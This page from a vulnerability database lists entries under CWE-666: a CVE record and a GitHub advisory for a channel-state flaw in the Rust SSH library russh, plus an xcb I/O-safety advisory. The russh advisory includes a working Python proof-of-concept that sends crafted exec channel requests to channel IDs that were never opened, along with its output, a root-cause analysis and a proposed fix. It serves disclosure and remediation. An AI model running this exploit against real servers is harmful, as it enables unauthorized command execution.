CWE-666
DiscouragedOperation on Resource in Wrong Phase of Lifetime
Abstraction: Class · Status: Draft
The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.
3 vulnerabilities reference this CWE, most recent first.
CVE-2026-68930 (GCVE-0-2026-68930)
Vulnerability from cvelistv5 – Published: 2026-08-03 15:34 – Updated: 2026-08-03 16:46| URL | Tags |
|---|---|
| https://github.com/Eugeny/russh/security/advisori… | x_refsource_CONFIRM |
| https://github.com/Eugeny/russh/commit/7c5659f8cf… | x_refsource_MISC |
| https://github.com/Eugeny/russh/releases/tag/v0.62.5 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-68930",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-03T16:43:29.958225Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T16:46:32.324Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-m65r-rprj-r5rg"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "russh",
"vendor": "Eugeny",
"versions": [
{
"status": "affected",
"version": "\u003c 0.62.5"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Russh is a Rust SSH client \u0026 server library. Prior to 0.62.5, russh dispatches channel-scoped Handler callbacks for recipient channel IDs that were never opened or confirmed in russh/src/server/encrypted.rs, server_read_authenticated, and the exec_request callback. Version 0.62.5 fixes the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-666",
"description": "CWE-666: Operation on Resource in Wrong Phase of Lifetime",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-696",
"description": "CWE-696: Incorrect Behavior Order",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863: Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T15:34:41.216Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/Eugeny/russh/security/advisories/GHSA-m65r-rprj-r5rg",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-m65r-rprj-r5rg"
},
{
"name": "https://github.com/Eugeny/russh/commit/7c5659f8cf6f6f2f9989d12dba0ebf49dc50a171",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/Eugeny/russh/commit/7c5659f8cf6f6f2f9989d12dba0ebf49dc50a171"
},
{
"name": "https://github.com/Eugeny/russh/releases/tag/v0.62.5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/Eugeny/russh/releases/tag/v0.62.5"
}
],
"source": {
"advisory": "GHSA-m65r-rprj-r5rg",
"discovery": "UNKNOWN"
},
"title": "Russh: Channel-scoped server callbacks can be reached without an open channel"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-68930",
"datePublished": "2026-08-03T15:34:41.216Z",
"dateReserved": "2026-07-31T21:49:24.927Z",
"dateUpdated": "2026-08-03T16:46:32.324Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-655H-HG88-5QMF
Vulnerability from github – Published: 2025-08-22 17:34 – Updated: 2025-08-22 17:34The API of xcb::Connection has constructors which allow an arbitrary RawFd to be used as a socket connection. On either failure of these constructors or on the drop of Connection, it closes the associated file descriptor. Thus, a program which uses an OwnedFd (such as a UnixStream) as the file descriptor can close the file descriptor and continue to attempt using it or close an already-closed file descriptor, violating I/O safety.
Starting in version 1.6.0, xcb provides Connection::connect_with_fd and Connection::connect_with_fd_and_extensions as safe alternatives and deprecates the problematic functions.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "xcb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-666",
"CWE-672"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-22T17:34:45Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "The API of `xcb::Connection` has constructors which allow an arbitrary `RawFd` to be used as a socket connection. On either failure of these constructors or on the drop of `Connection`, it closes the associated file descriptor. Thus, a program which uses an `OwnedFd` (such as a `UnixStream`) as the file descriptor can close the file descriptor and continue to attempt using it or close an already-closed file descriptor, violating I/O safety.\n\nStarting in version 1.6.0, `xcb` provides `Connection::connect_with_fd` and `Connection::connect_with_fd_and_extensions` as safe alternatives and deprecates the problematic functions.",
"id": "GHSA-655h-hg88-5qmf",
"modified": "2025-08-22T17:34:45Z",
"published": "2025-08-22T17:34:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rust-x-bindings/rust-xcb/issues/167"
},
{
"type": "WEB",
"url": "https://github.com/rust-x-bindings/rust-xcb/issues/282"
},
{
"type": "WEB",
"url": "https://github.com/rust-x-bindings/rust-xcb/pull/283"
},
{
"type": "WEB",
"url": "https://github.com/rustsec/advisory-db/pull/2355"
},
{
"type": "WEB",
"url": "https://github.com/rust-x-bindings/rust-xcb/commit/da830976870c1174e3b33eb0643177be3991c002"
},
{
"type": "PACKAGE",
"url": "https://github.com/rust-x-bindings/rust-xcb"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2025-0051.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Rust XCB `xcb::Connection::connect_to_fd*` functions violate I/O safety"
}
GHSA-M65R-RPRJ-R5RG
Vulnerability from github – Published: 2026-08-03 15:35 – Updated: 2026-08-03 15:35There is a server-side channel state issue in russh.
After a client is authenticated, russh can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send SSH_MSG_CHANNEL_OPEN at all. It authenticates normally, then sends SSH_MSG_CHANNEL_REQUEST packets with request type exec for a range of recipient channel IDs. russh still calls the server application's exec_request handler.
This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.
Impact
An authenticated client can bypass the server application's channel-open policy.
A server may deny session channels by returning false from Handler::channel_open_session. A server may also assume that callbacks such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close are only delivered for channels that were opened and confirmed by the SSH transport layer.
That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.
The exact impact depends on the downstream application. For many SSH server use cases, exec_request, shell_request, or subsystem_request start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected exec_request action runs even though no channel was opened.
Why this is not intended behavior
SSH channel requests are not global post-authentication requests. They are operations on an existing channel.
RFC 4254 describes channel-specific messages as carrying a recipient channel number. The exec request is a SSH_MSG_CHANNEL_REQUEST for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.
The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, russh should not deliver session-specific callbacks for that recipient ID.
This is also not just a handler bug. The handler does not own the transport channel table. russh does. The application gets a channel_open_* callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.
Documentation and API boundary
The public API documentation supports this boundary.
channel_open_session is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, exec_request is the application hook for deciding what to do with a command request received on a channel.
Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.
Delivering exec_request for a recipient ChannelId that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.
Root cause
In server_read_authenticated in russh/src/server/encrypted.rs, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table.
The problematic pattern is visible in the CHANNEL_REQUEST handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal ChannelMsg into the stream API, but the handler callback is outside that guard.
For example, the exec branch has this shape:
"exec" => {
let req = map_err!(Bytes::decode(r))?;
map_err!(ensure_end(r))?;
if let Some(chan) = self.channels.get(&channel_num) {
let _ = chan
.send(ChannelMsg::Exec {
want_reply: true,
command: req.to_vec(),
})
.await;
}
handler.exec_request(channel_num, &req, self).await
}
If channel_num is not open, the internal send is skipped, but handler.exec_request(...) is still called.
The same issue applies to other channel-scoped callbacks such as shell_request, subsystem_request, env_request, pty_request, data, extended_data, channel_eof, and channel_close.
There is a second related problem in server_handle_channel_open. The application-side channel reference can be inserted into self.channels even when the handler returns Ok(false). The protocol table enc.channels is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.
The authoritative source for whether a channel is established should be enc.channels, not self.channels.
Evidence from the PoC
The PoC uses a real russh server over localhost TCP. It uses real authentication with username alice and password correct. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.
POC Code :
import argparse
import sys
import time
import paramiko
from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
from paramiko.ssh_exception import ChannelException
CHANNEL_SCAN_END = 32
def connect(port: int) -> paramiko.Transport:
transport = paramiko.Transport(("127.0.0.1", port))
transport.connect(username="alice", password="correct")
return transport
def normal_allowed(port: int) -> None:
transport = connect(port)
print("normal client: CHANNEL_OPEN session")
channel = transport.open_session(timeout=5)
print("normal client: session open confirmed")
print('normal client: exec "protected"')
channel.exec_command("protected")
time.sleep(0.25)
channel.close()
transport.close()
def normal_denied(port: int) -> None:
transport = connect(port)
print("normal client: CHANNEL_OPEN session")
try:
transport.open_session(timeout=5)
except ChannelException:
print("normal client: session open denied")
pass
else:
raise RuntimeError("normal denied control unexpectedly opened a session channel")
time.sleep(0.25)
transport.close()
def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None:
print(
"crafted packet: "
f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) "
f"recipient_channel={recipient_channel} "
'request_type="exec" '
'command="protected"'
)
msg = Message()
msg.add_byte(cMSG_CHANNEL_REQUEST)
msg.add_int(recipient_channel)
msg.add_string("exec")
msg.add_boolean(True)
msg.add_string(b"protected")
transport._send_user_message(msg)
def exploit_denied(port: int) -> None:
transport = connect(port)
print("malicious peer: CHANNEL_OPEN session")
try:
transport.open_session(timeout=5)
except ChannelException:
print("malicious peer: session open denied")
else:
raise RuntimeError("exploit setup unexpectedly opened a session channel")
print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
for channel_id in range(CHANNEL_SCAN_END):
send_exec_request(transport, channel_id)
time.sleep(0.01)
time.sleep(0.5)
transport.close()
def exploit_without_open(port: int) -> None:
transport = connect(port)
print("malicious peer: no CHANNEL_OPEN sent")
print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
for channel_id in range(CHANNEL_SCAN_END):
send_exec_request(transport, channel_id)
time.sleep(0.01)
time.sleep(0.5)
transport.close()
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument(
"--mode",
choices=["allowed", "denied", "denied-open", "noopen"],
required=True,
)
parser.add_argument("--port", type=int, required=True)
args = parser.parse_args()
if args.mode == "allowed":
normal_allowed(args.port)
elif args.mode == "denied":
normal_denied(args.port)
elif args.mode == "noopen":
exploit_without_open(args.port)
else:
exploit_denied(args.port)
return 0
if __name__ == "__main__":
sys.exit(main())
The crafted packet form is:
SSH_MSG_CHANNEL_REQUEST(98)
recipient_channel = N
request_type = "exec"
command = "protected"
The PoC runs normal controls and exploit cases in one execution.
Allowed control
This proves the protected action works normally when a session channel is opened.
normal client: CHANNEL_OPEN session
normal client: session open confirmed
normal client: exec "protected"
channel_open_session called: 1
exec_request called: 1
protected action executed: 1
channel ever opened/confirmed: true
working recipient channel ids: [2]
Denied control
This proves the application policy denies session channels and a normal client cannot reach the protected action.
normal client: CHANNEL_OPEN session
normal client: session open denied
channel_open_session called: 1
exec_request called: 0
protected action executed: 0
channel ever opened/confirmed: false
working recipient channel ids: none
Main exploit: no channel open
This is the main issue.
The authenticated client does not send SSH_MSG_CHANNEL_OPEN. It sends crafted SSH_MSG_CHANNEL_REQUEST packets for recipient IDs 0..31.
malicious peer: no CHANNEL_OPEN sent
malicious peer: scanning recipient channel ids 0..31
channel_open_session called: 0
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]
This removes the "guessed channel ID" concern. Every scanned recipient ID reached the protected action in the vulnerable run.
Additional variant: denied open
The client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.
malicious peer: CHANNEL_OPEN session
malicious peer: session open denied
channel_open_session called: 1
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]
The denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.
Affected code path
Verified at:
f1a0f180a02ccedf48d86f2c5e0361308cf6b7c6
v0.61.1-9-gf1a0f18
The affected logic is in:
russh/src/server/encrypted.rs
The vulnerable area is:
server_read_authenticated
Channel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in enc.channels.
The affected request callbacks include:
pty_request
x11_request
env_request
shell_request
agent_request
exec_request
subsystem_request
window_change_request
signal
The same missing established-channel guard affects:
CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE
A related issue exists in:
server_handle_channel_open
Application channel references should not be retained for denied opens.
Why this belongs in russh
The application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time exec_request is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.
This is the same kind of invariant russh already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.
The safe expectation is simple:
No established channel, no channel-scoped handler callback.
Suggested fix
Before dispatching any channel-scoped callback, require the recipient ChannelId to exist in the encrypted session's established channel table and to be confirmed.
The authoritative check should use enc.channels, not self.channels.
A minimal approach is to add a helper like:
fn ensure_established_channel(&self, channel: ChannelId) -> Result<(), Error> {
if self
.common
.encrypted
.as_ref()
.and_then(|enc| enc.channels.get(&channel))
.is_some_and(|channel| channel.confirmed)
{
Ok(())
} else {
Err(Error::Inconsistent)
}
}
Then call it before dispatching channel-scoped callbacks for:
CHANNEL_REQUEST
CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE
CHANNEL_WINDOW_ADJUST
For unknown or unconfirmed channels, russh should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.
The channel-open path should also retain application-side channel references only when the open is approved:
let mut result = handler.channel_open_session(channel, self).await;
if let Ok(allowed) = &mut result {
if *allowed {
self.channels.insert(sender_channel, reference);
}
self.finalize_channel_open(&msg, channel_params, *allowed)?;
}
Regression coverage
A regression test should authenticate normally, then verify that callbacks are not reached in these cases:
1. CHANNEL_REQUEST "exec" without prior CHANNEL_OPEN
2. CHANNEL_OPEN "session" denied by the handler, then CHANNEL_REQUEST "exec"
3. CHANNEL_DATA without prior CHANNEL_OPEN
4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN
The test should fail if any channel-scoped callback such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close is invoked for a non-established channel.
A positive control should confirm that a normally opened session channel still reaches the expected callbacks.
In the local validation, the targeted regression passed after the patch:
cargo test -p russh --test channel_state_validation
The full workspace also passed:
cargo test --workspace
Duplicate check
I checked existing Eugeny/russh advisories and issue searches for terms related to:
CHANNEL_REQUEST
exec_request
channel_open_session denied
unopened channel
server_handle_channel_open
channel request handler
Existing advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.62.4"
},
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-68930"
],
"database_specific": {
"cwe_ids": [
"CWE-666",
"CWE-696",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T15:35:00Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "There is a server-side channel state issue in `russh`.\n\nAfter a client is authenticated, `russh` can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send `SSH_MSG_CHANNEL_OPEN` at all. It authenticates normally, then sends `SSH_MSG_CHANNEL_REQUEST` packets with request type `exec` for a range of recipient channel IDs. `russh` still calls the server application\u0027s `exec_request` handler.\n\nThis is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.\n\n## Impact\n\nAn authenticated client can bypass the server application\u0027s channel-open policy.\n\nA server may deny session channels by returning `false` from `Handler::channel_open_session`. A server may also assume that callbacks such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` are only delivered for channels that were opened and confirmed by the SSH transport layer.\n\nThat assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.\n\nThe exact impact depends on the downstream application. For many SSH server use cases, `exec_request`, `shell_request`, or `subsystem_request` start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected `exec_request` action runs even though no channel was opened.\n\n## Why this is not intended behavior\n\nSSH channel requests are not global post-authentication requests. They are operations on an existing channel.\n\nRFC 4254 describes channel-specific messages as carrying a recipient channel number. The `exec` request is a `SSH_MSG_CHANNEL_REQUEST` for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.\n\nThe relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, `russh` should not deliver session-specific callbacks for that recipient ID.\n\nThis is also not just a handler bug. The handler does not own the transport channel table. `russh` does. The application gets a `channel_open_*` callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.\n\n## Documentation and API boundary\n\nThe public API documentation supports this boundary.\n\n`channel_open_session` is the application hook for creating a new session channel, and its boolean return value is the application\u0027s decision on whether that channel open should be granted. Separately, `exec_request` is the application hook for deciding what to do with a command request received on a channel.\n\nThose are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.\n\nDelivering `exec_request` for a recipient `ChannelId` that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.\n\n## Root cause\n\nIn `server_read_authenticated` in `russh/src/server/encrypted.rs`, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session\u0027s channel table.\n\nThe problematic pattern is visible in the `CHANNEL_REQUEST` handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal `ChannelMsg` into the stream API, but the handler callback is outside that guard.\n\nFor example, the `exec` branch has this shape:\n\n```rust\n\"exec\" =\u003e {\n let req = map_err!(Bytes::decode(r))?;\n map_err!(ensure_end(r))?;\n\n if let Some(chan) = self.channels.get(\u0026channel_num) {\n let _ = chan\n .send(ChannelMsg::Exec {\n want_reply: true,\n command: req.to_vec(),\n })\n .await;\n }\n\n handler.exec_request(channel_num, \u0026req, self).await\n}\n```\n\nIf `channel_num` is not open, the internal send is skipped, but `handler.exec_request(...)` is still called.\n\nThe same issue applies to other channel-scoped callbacks such as `shell_request`, `subsystem_request`, `env_request`, `pty_request`, `data`, `extended_data`, `channel_eof`, and `channel_close`.\n\nThere is a second related problem in `server_handle_channel_open`. The application-side channel reference can be inserted into `self.channels` even when the handler returns `Ok(false)`. The protocol table `enc.channels` is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.\n\nThe authoritative source for whether a channel is established should be `enc.channels`, not `self.channels`.\n\n## Evidence from the PoC\n\nThe PoC uses a real `russh` server over localhost TCP. It uses real authentication with username `alice` and password `correct`. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.\n\nPOC Code :\n\n```python\nimport argparse\nimport sys\nimport time\n\nimport paramiko\nfrom paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST\nfrom paramiko.message import Message\nfrom paramiko.ssh_exception import ChannelException\n\nCHANNEL_SCAN_END = 32\n\n\ndef connect(port: int) -\u003e paramiko.Transport:\n transport = paramiko.Transport((\"127.0.0.1\", port))\n transport.connect(username=\"alice\", password=\"correct\")\n return transport\n\n\ndef normal_allowed(port: int) -\u003e None:\n transport = connect(port)\n print(\"normal client: CHANNEL_OPEN session\")\n channel = transport.open_session(timeout=5)\n print(\"normal client: session open confirmed\")\n print(\u0027normal client: exec \"protected\"\u0027)\n channel.exec_command(\"protected\")\n time.sleep(0.25)\n channel.close()\n transport.close()\n\n\ndef normal_denied(port: int) -\u003e None:\n transport = connect(port)\n print(\"normal client: CHANNEL_OPEN session\")\n try:\n transport.open_session(timeout=5)\n except ChannelException:\n print(\"normal client: session open denied\")\n pass\n else:\n raise RuntimeError(\"normal denied control unexpectedly opened a session channel\")\n time.sleep(0.25)\n transport.close()\n\n\ndef send_exec_request(transport: paramiko.Transport, recipient_channel: int) -\u003e None:\n print(\n \"crafted packet: \"\n f\"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) \"\n f\"recipient_channel={recipient_channel} \"\n \u0027request_type=\"exec\" \u0027\n \u0027command=\"protected\"\u0027\n )\n msg = Message()\n msg.add_byte(cMSG_CHANNEL_REQUEST)\n msg.add_int(recipient_channel)\n msg.add_string(\"exec\")\n msg.add_boolean(True)\n msg.add_string(b\"protected\")\n transport._send_user_message(msg)\n\n\ndef exploit_denied(port: int) -\u003e None:\n transport = connect(port)\n print(\"malicious peer: CHANNEL_OPEN session\")\n try:\n transport.open_session(timeout=5)\n except ChannelException:\n print(\"malicious peer: session open denied\")\n else:\n raise RuntimeError(\"exploit setup unexpectedly opened a session channel\")\n\n print(f\"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}\")\n for channel_id in range(CHANNEL_SCAN_END):\n send_exec_request(transport, channel_id)\n time.sleep(0.01)\n time.sleep(0.5)\n transport.close()\n\n\ndef exploit_without_open(port: int) -\u003e None:\n transport = connect(port)\n print(\"malicious peer: no CHANNEL_OPEN sent\")\n print(f\"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}\")\n for channel_id in range(CHANNEL_SCAN_END):\n send_exec_request(transport, channel_id)\n time.sleep(0.01)\n time.sleep(0.5)\n transport.close()\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--mode\",\n choices=[\"allowed\", \"denied\", \"denied-open\", \"noopen\"],\n required=True,\n )\n parser.add_argument(\"--port\", type=int, required=True)\n args = parser.parse_args()\n\n if args.mode == \"allowed\":\n normal_allowed(args.port)\n elif args.mode == \"denied\":\n normal_denied(args.port)\n elif args.mode == \"noopen\":\n exploit_without_open(args.port)\n else:\n exploit_denied(args.port)\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\nThe crafted packet form is:\n\n```text\nSSH_MSG_CHANNEL_REQUEST(98)\nrecipient_channel = N\nrequest_type = \"exec\"\ncommand = \"protected\"\n```\n\nThe PoC runs normal controls and exploit cases in one execution.\n\n### Allowed control\n\nThis proves the protected action works normally when a session channel is opened.\n\n```text\nnormal client: CHANNEL_OPEN session\nnormal client: session open confirmed\nnormal client: exec \"protected\"\n\nchannel_open_session called: 1\nexec_request called: 1\nprotected action executed: 1\nchannel ever opened/confirmed: true\nworking recipient channel ids: [2]\n```\n\n### Denied control\n\nThis proves the application policy denies session channels and a normal client cannot reach the protected action.\n\n```text\nnormal client: CHANNEL_OPEN session\nnormal client: session open denied\n\nchannel_open_session called: 1\nexec_request called: 0\nprotected action executed: 0\nchannel ever opened/confirmed: false\nworking recipient channel ids: none\n```\n\n### Main exploit: no channel open\n\nThis is the main issue.\n\nThe authenticated client does not send `SSH_MSG_CHANNEL_OPEN`. It sends crafted `SSH_MSG_CHANNEL_REQUEST` packets for recipient IDs `0..31`.\n\n```text\nmalicious peer: no CHANNEL_OPEN sent\nmalicious peer: scanning recipient channel ids 0..31\n\nchannel_open_session called: 0\nexec_request called: 32\nprotected action executed: 32\nchannel ever opened/confirmed: false\nworking recipient channel ids: [0, 1, 2, ..., 31]\n```\n\nThis removes the \"guessed channel ID\" concern. Every scanned recipient ID reached the protected action in the vulnerable run.\n\n### Additional variant: denied open\n\nThe client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.\n\n```text\nmalicious peer: CHANNEL_OPEN session\nmalicious peer: session open denied\n\nchannel_open_session called: 1\nexec_request called: 32\nprotected action executed: 32\nchannel ever opened/confirmed: false\nworking recipient channel ids: [0, 1, 2, ..., 31]\n```\n\nThe denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.\n\n## Affected code path\n\nVerified at:\n\n```text\nf1a0f180a02ccedf48d86f2c5e0361308cf6b7c6\nv0.61.1-9-gf1a0f18\n```\n\nThe affected logic is in:\n\n```text\nrussh/src/server/encrypted.rs\n```\n\nThe vulnerable area is:\n\n```text\nserver_read_authenticated\n```\n\nChannel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in `enc.channels`.\n\nThe affected request callbacks include:\n\n```text\npty_request\nx11_request\nenv_request\nshell_request\nagent_request\nexec_request\nsubsystem_request\nwindow_change_request\nsignal\n```\n\nThe same missing established-channel guard affects:\n\n```text\nCHANNEL_DATA\nCHANNEL_EXTENDED_DATA\nCHANNEL_EOF\nCHANNEL_CLOSE\n```\n\nA related issue exists in:\n\n```text\nserver_handle_channel_open\n```\nApplication channel references should not be retained for denied opens.\n\n## Why this belongs in russh\n\nThe application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time `exec_request` is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.\n\nThis is the same kind of invariant `russh` already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.\n\nThe safe expectation is simple:\n\n```text\nNo established channel, no channel-scoped handler callback.\n```\n\n## Suggested fix\n\nBefore dispatching any channel-scoped callback, require the recipient `ChannelId` to exist in the encrypted session\u0027s established channel table and to be confirmed.\n\nThe authoritative check should use `enc.channels`, not `self.channels`.\n\nA minimal approach is to add a helper like:\n\n```rust\nfn ensure_established_channel(\u0026self, channel: ChannelId) -\u003e Result\u003c(), Error\u003e {\n if self\n .common\n .encrypted\n .as_ref()\n .and_then(|enc| enc.channels.get(\u0026channel))\n .is_some_and(|channel| channel.confirmed)\n {\n Ok(())\n } else {\n Err(Error::Inconsistent)\n }\n}\n```\n\nThen call it before dispatching channel-scoped callbacks for:\n\n```text\nCHANNEL_REQUEST\nCHANNEL_DATA\nCHANNEL_EXTENDED_DATA\nCHANNEL_EOF\nCHANNEL_CLOSE\nCHANNEL_WINDOW_ADJUST\n```\n\nFor unknown or unconfirmed channels, `russh` should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.\n\nThe channel-open path should also retain application-side channel references only when the open is approved:\n\n```rust\nlet mut result = handler.channel_open_session(channel, self).await;\n\nif let Ok(allowed) = \u0026mut result {\n if *allowed {\n self.channels.insert(sender_channel, reference);\n }\n\n self.finalize_channel_open(\u0026msg, channel_params, *allowed)?;\n}\n```\n\n## Regression coverage\n\nA regression test should authenticate normally, then verify that callbacks are not reached in these cases:\n\n```text\n1. CHANNEL_REQUEST \"exec\" without prior CHANNEL_OPEN\n2. CHANNEL_OPEN \"session\" denied by the handler, then CHANNEL_REQUEST \"exec\"\n3. CHANNEL_DATA without prior CHANNEL_OPEN\n4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN\n```\n\nThe test should fail if any channel-scoped callback such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` is invoked for a non-established channel.\n\nA positive control should confirm that a normally opened session channel still reaches the expected callbacks.\n\nIn the local validation, the targeted regression passed after the patch:\n\n```text\ncargo test -p russh --test channel_state_validation\n```\n\nThe full workspace also passed:\n\n```text\ncargo test --workspace\n```\n## Duplicate check\n\nI checked existing `Eugeny/russh` advisories and issue searches for terms related to:\n\n```text\nCHANNEL_REQUEST\nexec_request\nchannel_open_session denied\nunopened 